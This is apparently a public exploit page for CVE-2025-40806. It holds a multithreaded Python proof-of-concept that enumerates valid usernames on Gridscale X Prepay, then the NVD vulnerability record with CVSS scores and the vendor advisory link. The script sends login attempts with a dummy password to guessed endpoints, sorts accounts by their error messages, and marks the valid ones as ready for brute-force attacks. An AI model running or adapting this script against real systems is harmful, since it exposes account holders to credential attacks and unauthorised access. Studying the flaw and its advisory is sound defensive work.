CVE-2025-40806

#!/usr/bin/env python3 """ CVE-2025-40806 - Gridscale X Prepay User Enumeration PoC Author: Security Researcher Description: This PoC demonstrates user enumeration vulnerability in Gridscale X Prepay """ import requests import sys import time from concurrent.futures import ThreadPoolExecutor, as_completed class UserEnumerationPoC: def __init__(self, target_url): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.valid_users = [] def check_user_exists(self, username): """ Check if a username exists by analyzing server response """ try: # Common login endpoint patterns endpoints = [ '/api/auth/login', '/auth/login', '/login', '/api/user/validate', '/api/v1/auth' ] for endpoint in endpoints: url = f"{self.target_url}{endpoint}" # Send request with invalid password for the test username payload = { 'username': username, 'password': 'InvalidPassword123!' } headers = { 'Content-Type': 'application/json', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } start_time = time.time() response = self.session.post(url, json=payload, headers=headers, timeout=10) response_time = time.time() - start_time # Analyze response for user enumeration indicators response_text = response.text.lower() response_code = response.status_code # Indicators of valid user valid_indicators = [ 'password is incorrect', 'invalid password', 'wrong password', 'incorrect password', 'password incorrect', 'auth failed', 'status": 401 ] # Indicators of invalid user invalid_indicators = [ 'user not found', 'user does not exist', 'username not found', 'account not found', 'invalid username', 'user unknown' ] # Check for valid user indicators for indicator in valid_indicators: if indicator in response_text: print(f"[+] VALID USER FOUND: {username}") print(f" Response Code: {response_code}") print(f" Response Time: {response_time:.3f}s") self.valid_users.append(username) return True # Check for invalid user indicators for indicator in invalid_indicators: if indicator in response_text: print(f"[-] User not found: {username}") return False # If response times differ significantly, might indicate enumeration if response_time > 2.0: print(f"[!] Suspicious response time for: {username} ({response_time:.3f}s)") except requests.exceptions.RequestException as e: print(f"[!] Error testing {username}: {str(e)}") return None return None def enumerate_users(self, username_list, max_workers=10): """ Enumerate users from a list using multiple threads """ print(f"[*] Starting user enumeration against {self.target_url}") print(f"[*] Testing {len(username_list)} usernames...") print("-" * 60) with ThreadPoolExecutor(max_workers=max_workers) as executor: futures = {executor.submit(self.check_user_exists, user): user for user in username_list} for future in as_completed(futures): future.result() print("-" * 60) print(f"[*] Enumeration complete. Found {len(self.valid_users)} valid users.") return self.valid_users def generate_report(self): """ Generate enumeration report """ if self.valid_users: print("\n[!] VALID USERS FOUND:") for user in self.valid_users: print(f" - {user}") print("\n[!] WARNING: These users are valid and can be targeted for brute force attacks.") else: print("\n[*] No valid users found in the provided list.") def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-40806-poc.py <target_url> <username_list_file>") print("Example: python cve-2025-40806-poc.py https://vulnerable-site.com usernames.txt") sys.exit(1) target_url = sys.argv[1] username_file = sys.argv[2] try: with open(username_file, 'r') as f: usernames = [line.strip() for line in f if line.strip()] except FileNotFoundError: print(f"[!] Error: File {username_file} not found") sys.exit(1) poc = UserEnumerationPoC(target_url) poc.enumerate_users(usernames) poc.generate_report() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-40806", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:45.653", "lastModified": "2026-01-02T21:13:21.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Gridscale X Prepay (All versions < V4.2.1). The affected application is vulnerable to user enumeration due to distinguishable responses. This could allow an unauthenticated remote attacker to determine if a user is valid or not, enabling a brute force attack with valid users."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-204"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:siemens:gridscale_x_prepay:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.2.1", "matchCriteriaId": "6319BAE3-F7F9-4970-A787-221D0F1F49C4"}]}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-356310.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}